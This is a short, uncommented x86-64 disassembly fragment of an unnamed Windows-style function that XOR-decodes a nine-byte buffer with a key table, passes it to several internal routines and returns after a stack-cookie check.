mov qword [rcx], rax
xor ecx, ecx
mov rax, rcx
lea rdx, [0x140045d50]
and eax, 0x7f
mov al, byte [rax + rdx]
xor byte [rbp + rcx + 0x50], al
inc rcx
cmp rcx, 9
jb 0x1400021f7
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x55e]
lea rcx, [rsp + 0x30]
call fcn.14001210c
mov r9, rdi
mov qword [rsp + 0x20], rsi
mov r8, rbx
lea rdx, [rbp + 0x55e]
lea rcx, [rsp + 0x30]
call fcn.140002770
lea rcx, [rbp + 0x55e]
cmp rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x55e]
lea rcx, [rbp + 0x160]
cmovae rax, qword [rsp + 0x30]
mov word [rax], 0xa
call fcn.14000287c
mov rcx, qword [rbp + 0x560]
xor rcx, rsp
call fcn.140019540
mov rbx, qword [rsp + 0x6a8]
add rsp, 0x670
pop rdi
pop rsi
pop rbp
ret